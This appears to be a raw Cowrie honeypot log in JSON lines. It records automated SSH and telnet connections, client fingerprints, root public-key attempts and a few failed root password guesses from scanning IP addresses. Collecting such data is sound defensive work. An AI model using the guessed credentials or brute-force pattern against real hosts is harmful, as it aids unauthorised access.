{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:a4:29:35:e6:a2:d1:58:b8:b8:e3:83:1b:21:8d:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0/apGcgtldMtAr5fWulemrjCvUTzArGFDb6pp2uHFRbKG1cRUAuM0sFiNf5O4hAQOSbur2NO+/SLu7fJDuHbdM3OdtIih2SWAIrvalPMNk2szz5jhHSG5a8j5v1/Cj20IXChHOSk9hNKERBPTB5a+WXE3KtrYoz4snE1G2eTymL20fNi4LGb5KEcLufduUNimC8G/eMy70YYSTlh16Fjj6d0Hz4SoGXZHGODJ4lcDWzBP/yWXGiWl0zFC+646zlUcRtGXiPc9HfhcbDriPjvM4sYyXB0P2iOtdMdXC4shGjKh6DPPgfVF0E93FG86gwRhLnCRMU+YQmsucO/sySjIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:a4:29:35:e6:a2:d1:58:b8:b8:e3:83:1b:21:8d:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.584912Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:a4:29:35:e6:a2:d1:58:b8:b8:e3:83:1b:21:8d:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0/apGcgtldMtAr5fWulemrjCvUTzArGFDb6pp2uHFRbKG1cRUAuM0sFiNf5O4hAQOSbur2NO+/SLu7fJDuHbdM3OdtIih2SWAIrvalPMNk2szz5jhHSG5a8j5v1/Cj20IXChHOSk9hNKERBPTB5a+WXE3KtrYoz4snE1G2eTymL20fNi4LGb5KEcLufduUNimC8G/eMy70YYSTlh16Fjj6d0Hz4SoGXZHGODJ4lcDWzBP/yWXGiWl0zFC+646zlUcRtGXiPc9HfhcbDriPjvM4sYyXB0P2iOtdMdXC4shGjKh6DPPgfVF0E93FG86gwRhLnCRMU+YQmsucO/sySjIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.588248Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:6d:94:ae:ef:c8:c6:0d:bc:c4:00:9f:bc:18:75:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu/sttLuO3D6aiiIdNc4CNwoI2QLQNJkey6nAVM/2WY7Jk059zZyZ6E8QVwJsDKaeRew6xN6bNjQTWtfCi6yNLPszNj9dcEmnLoYPiJnl+DqF9Vxktt3W4vqBrBPHHFlIOPJNH2xmXbMWRFJCeEtW8qDL5jREC0QesdD/sLnVFxvtnQCmLXmAZKlnz8Yx9g32tWFAny+685r4ILZamfqX5DOlEJPMaAzDUPZnRXM92+HPVqzVyK29GfU8ZFIcYdOc4CnhryKMZrb4/ooxVDiFvMxyAVZdZ29TfQaqGCMQVdtZZKt2arMS6ibPxwK5zbFwu0mAebt1avZ4aAcPlCTKCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:6d:94:ae:ef:c8:c6:0d:bc:c4:00:9f:bc:18:75:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.611474Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:6d:94:ae:ef:c8:c6:0d:bc:c4:00:9f:bc:18:75:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu/sttLuO3D6aiiIdNc4CNwoI2QLQNJkey6nAVM/2WY7Jk059zZyZ6E8QVwJsDKaeRew6xN6bNjQTWtfCi6yNLPszNj9dcEmnLoYPiJnl+DqF9Vxktt3W4vqBrBPHHFlIOPJNH2xmXbMWRFJCeEtW8qDL5jREC0QesdD/sLnVFxvtnQCmLXmAZKlnz8Yx9g32tWFAny+685r4ILZamfqX5DOlEJPMaAzDUPZnRXM92+HPVqzVyK29GfU8ZFIcYdOc4CnhryKMZrb4/ooxVDiFvMxyAVZdZ29TfQaqGCMQVdtZZKt2arMS6ibPxwK5zbFwu0mAebt1avZ4aAcPlCTKCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.615021Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:89:d3:ee:51:f6:fe:60:a3:64:d9:d2:03:47:25:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDsjeFeunEUssVT2w2XbATiy1kz1z2tcxl9pZ65qxviv0Tjj9boQvGv9YdxxxmfjRquaicFQq8aiozuis74gL9OF9cs2ooJgVw8yJqhuqjK+g4GhfEUZzdxCT7H3cN+XzubHXRKdY5mCTcwfiCITPF7qmJI0PYMc7Is9p1rCXsMbv22c0OExEkoydzIuEKIqOpRXYrxDmKAaCq4dC/1cMcpEiRyjKtsSPcQrSDVFljZFxtp2V+9hYCpzPFrHiGWkFX9efSncHVOO7xTpB3gZXGdyjZDo1F4M7sbWHjB8CX6pkxvE+6SPchWh56ICmAW6PgQA4ht3nmzXThuc3nSVCEm3BJN0rtT1l0qDqgr4WIz+IpzNjr82Dh+W449XogA38k9Ebd9Z7Vp1fGk3UV//S6bEyHrxfv+zbI4bHPpPJFOyer6tpomBSI6YTImBfWVkqZldMwcNZpQLo09H8gX4593E7WGQ3FWFiVMkT1TsvUzzrXeVmvq+Tp8shDm2si/ymASkA2UeYaLt/Vl6EG77gxKd6n2RhHA8BsGp3WcA96MgKvRJ7Xwh8j/a8gmVj/Kku07BwYFcETru/lOPKbIWHFPXD1PaQcUoNBBcf1qk10+In2PJ+62Z7GwClg+NMWgmACE6cVpkVZ/nXE+6GTCK6AGHJv2VUCX9IqSdrvMJeaFSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:89:d3:ee:51:f6:fe:60:a3:64:d9:d2:03:47:25:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.639122Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:89:d3:ee:51:f6:fe:60:a3:64:d9:d2:03:47:25:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDsjeFeunEUssVT2w2XbATiy1kz1z2tcxl9pZ65qxviv0Tjj9boQvGv9YdxxxmfjRquaicFQq8aiozuis74gL9OF9cs2ooJgVw8yJqhuqjK+g4GhfEUZzdxCT7H3cN+XzubHXRKdY5mCTcwfiCITPF7qmJI0PYMc7Is9p1rCXsMbv22c0OExEkoydzIuEKIqOpRXYrxDmKAaCq4dC/1cMcpEiRyjKtsSPcQrSDVFljZFxtp2V+9hYCpzPFrHiGWkFX9efSncHVOO7xTpB3gZXGdyjZDo1F4M7sbWHjB8CX6pkxvE+6SPchWh56ICmAW6PgQA4ht3nmzXThuc3nSVCEm3BJN0rtT1l0qDqgr4WIz+IpzNjr82Dh+W449XogA38k9Ebd9Z7Vp1fGk3UV//S6bEyHrxfv+zbI4bHPpPJFOyer6tpomBSI6YTImBfWVkqZldMwcNZpQLo09H8gX4593E7WGQ3FWFiVMkT1TsvUzzrXeVmvq+Tp8shDm2si/ymASkA2UeYaLt/Vl6EG77gxKd6n2RhHA8BsGp3WcA96MgKvRJ7Xwh8j/a8gmVj/Kku07BwYFcETru/lOPKbIWHFPXD1PaQcUoNBBcf1qk10+In2PJ+62Z7GwClg+NMWgmACE6cVpkVZ/nXE+6GTCK6AGHJv2VUCX9IqSdrvMJeaFSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.644441Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:53:82:2a:3e:50:43:63:b2:0c:71:b7:57:91:af:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNhRA0JPehLc0F2vuxviShgCv+Vn/fZQPeLWNyFi2aPhXx/mdyhFxjGQN57A4tYjBpFVkSy+V4P+2D8RRfJiS/48kf0Pqtr0MO6lCF2ATlpzJmXmRL+LgzvCDTaPUK2Wo7kX7/EZBmnObQ/RDTAXVwgJdRw00h8sJBiA+FY6if7eu6eX7c8KfDwaRBPWb+gBdqSyNtziq4zKkA+jMUAoMJrWMC/IpSODrrwDpa/KTSageVPaniLZy+Yqy9HeMipmIK5mOWNpkYA+abmdv4KQ9bhRs/P0gjADxHB4hGCvyec805iRgKh72++YBmL8jwccPwDmBQtvY54dla14ErINYt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:53:82:2a:3e:50:43:63:b2:0c:71:b7:57:91:af:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.665461Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:53:82:2a:3e:50:43:63:b2:0c:71:b7:57:91:af:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNhRA0JPehLc0F2vuxviShgCv+Vn/fZQPeLWNyFi2aPhXx/mdyhFxjGQN57A4tYjBpFVkSy+V4P+2D8RRfJiS/48kf0Pqtr0MO6lCF2ATlpzJmXmRL+LgzvCDTaPUK2Wo7kX7/EZBmnObQ/RDTAXVwgJdRw00h8sJBiA+FY6if7eu6eX7c8KfDwaRBPWb+gBdqSyNtziq4zKkA+jMUAoMJrWMC/IpSODrrwDpa/KTSageVPaniLZy+Yqy9HeMipmIK5mOWNpkYA+abmdv4KQ9bhRs/P0gjADxHB4hGCvyec805iRgKh72++YBmL8jwccPwDmBQtvY54dla14ErINYt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.668904Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:a8:7f:84:9b:bd:0d:7c:7b:44:45:ed:8f:6a:03:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDORQuherEIjcdza4i5O1JCHcXW+/ryZI/LM2WeZSbdtJuhJZb6qGWY4ioGpmhhQHcs4EmO0lwoVKs1pS7GgHtd8evvmSzGB8NSwgZgUhXTbC7su/DHNbh2hpfvvP008WeGOp4oTrFoN3YrTSfYGDr1VONGRXvS9BxlDlVyZKBhvuO48yBb9BPkboLu0bOMwhNw3b7iMfaRSERLOa3B0vxDO7geaHfmAzCScmH1NRyi3ajkIM0YYdppBpmd/7YnlJaetaEcGFkbrLzHEYYmmTgXHUUyHqLT4IApDqSrCnx7z1dvP1Lbw1Qwv+sYSpp77jZQy6uXKuamdh5wLrsfr8vGdke7izIFbIeeifWbV0Vsi+dKzWEgJqPt0CeK8VFDUec5Gqec92k9q+RGTGw+ybudkNj6rkQXea/3Ywn73TNB3SkzRmJNMp1n8DA4hf0FmyFzAerZ2bZvmdo2aRdSRsdbqxQpTebXsackmj0irG1YnvgefXk7fSb11XrsHutVyzUgbmLC/AFf9GDQIT9PGd8TQfIH5aatMFUp9CIwM3PmPgosyNDo3ncP31NeHb6odmmpekWlxbJT3yQOidd2Ctxrhb2hdXKfpq5XziQPXAuFCIqKEIS6rUYrhYvqD4BANumSa+1EEdYBk66GG4nKE7/QhCTqHuz6qilnW/Hb/LeCLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:a8:7f:84:9b:bd:0d:7c:7b:44:45:ed:8f:6a:03:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.690421Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:a8:7f:84:9b:bd:0d:7c:7b:44:45:ed:8f:6a:03:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDORQuherEIjcdza4i5O1JCHcXW+/ryZI/LM2WeZSbdtJuhJZb6qGWY4ioGpmhhQHcs4EmO0lwoVKs1pS7GgHtd8evvmSzGB8NSwgZgUhXTbC7su/DHNbh2hpfvvP008WeGOp4oTrFoN3YrTSfYGDr1VONGRXvS9BxlDlVyZKBhvuO48yBb9BPkboLu0bOMwhNw3b7iMfaRSERLOa3B0vxDO7geaHfmAzCScmH1NRyi3ajkIM0YYdppBpmd/7YnlJaetaEcGFkbrLzHEYYmmTgXHUUyHqLT4IApDqSrCnx7z1dvP1Lbw1Qwv+sYSpp77jZQy6uXKuamdh5wLrsfr8vGdke7izIFbIeeifWbV0Vsi+dKzWEgJqPt0CeK8VFDUec5Gqec92k9q+RGTGw+ybudkNj6rkQXea/3Ywn73TNB3SkzRmJNMp1n8DA4hf0FmyFzAerZ2bZvmdo2aRdSRsdbqxQpTebXsackmj0irG1YnvgefXk7fSb11XrsHutVyzUgbmLC/AFf9GDQIT9PGd8TQfIH5aatMFUp9CIwM3PmPgosyNDo3ncP31NeHb6odmmpekWlxbJT3yQOidd2Ctxrhb2hdXKfpq5XziQPXAuFCIqKEIS6rUYrhYvqD4BANumSa+1EEdYBk66GG4nKE7/QhCTqHuz6qilnW/Hb/LeCLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.693679Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.716596Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.771168Z","src_ip":"72.17.34.38","session":"591f696ca7a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.33203434944153,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:07.249896Z","src_ip":"128.199.8.54","session":"660cc082138b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.35528326034546,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:18.201377Z","src_ip":"128.199.8.54","session":"bc6cfbf392c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":36300,"dst_ip":"159.203.135.109","dst_port":22,"session":"278f8197e312","protocol":"ssh","message":"New connection: 103.77.175.15:36300 (159.203.135.109:22) [session: 278f8197e312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:35.343369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:35.347121Z","src_ip":"103.77.175.15","session":"278f8197e312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:35.602185Z","src_ip":"103.77.175.15","session":"278f8197e312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"190787","message":"login attempt [root/190787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:36.358857Z","src_ip":"103.77.175.15","session":"278f8197e312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:37.612281Z","src_ip":"103.77.175.15","session":"278f8197e312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.138.58.66","src_port":38830,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4893309d8fe","protocol":"telnet","message":"New connection: 8.138.58.66:38830 (10.17.0.5:23) [session: c4893309d8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:57.604568Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":34142,"dst_ip":"10.17.0.5","dst_port":23,"session":"05ecffc64460","protocol":"telnet","message":"New connection: 94.23.66.112:34142 (10.17.0.5:23) [session: 05ecffc64460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:03:00.498234Z"}
{"eventid":"cowrie.session.closed","duration":21.203489542007446,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:03:21.701585Z","src_ip":"94.23.66.112","session":"05ecffc64460","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53447437286377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:03:29.138893Z","src_ip":"8.138.58.66","session":"c4893309d8fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.154.60.59","src_port":59374,"dst_ip":"10.17.0.5","dst_port":23,"session":"033e2ef54126","protocol":"telnet","message":"New connection: 129.154.60.59:59374 (10.17.0.5:23) [session: 033e2ef54126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:03:32.507814Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":38386,"dst_ip":"10.17.0.5","dst_port":22,"session":"f97860d55fe4","protocol":"ssh","message":"New connection: 72.17.34.38:38386 (10.17.0.5:22) [session: f97860d55fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:03:59.451859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:03:59.455900Z","src_ip":"72.17.34.38","session":"f97860d55fe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:03:59.490390Z","src_ip":"72.17.34.38","session":"f97860d55fe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ss123","message":"login attempt [root/P@ss123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:03:59.663596Z","src_ip":"72.17.34.38","session":"f97860d55fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:04:00.707652Z","src_ip":"72.17.34.38","session":"f97860d55fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.723900079727173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:04:03.231584Z","src_ip":"129.154.60.59","session":"033e2ef54126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":42362,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa5624277199","protocol":"telnet","message":"New connection: 102.37.220.188:42362 (159.203.135.109:23) [session: fa5624277199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:04:16.573407Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":40180,"dst_ip":"10.17.0.5","dst_port":22,"session":"44307c0092de","protocol":"ssh","message":"New connection: 27.71.230.31:40180 (10.17.0.5:22) [session: 44307c0092de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:04:35.648117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:04:35.664706Z","src_ip":"27.71.230.31","session":"44307c0092de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:04:37.390333Z","src_ip":"27.71.230.31","session":"44307c0092de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome!01","message":"login attempt [root/welcome!01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:04:39.290313Z","src_ip":"27.71.230.31","session":"44307c0092de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:04:40.776323Z","src_ip":"27.71.230.31","session":"44307c0092de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.411555290222168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:04:47.984813Z","src_ip":"102.37.220.188","session":"fa5624277199","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.59.54.34","src_port":54142,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1e2b563ab02","protocol":"ssh","message":"New connection: 137.59.54.34:54142 (10.17.0.5:22) [session: c1e2b563ab02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:44.164536Z"}
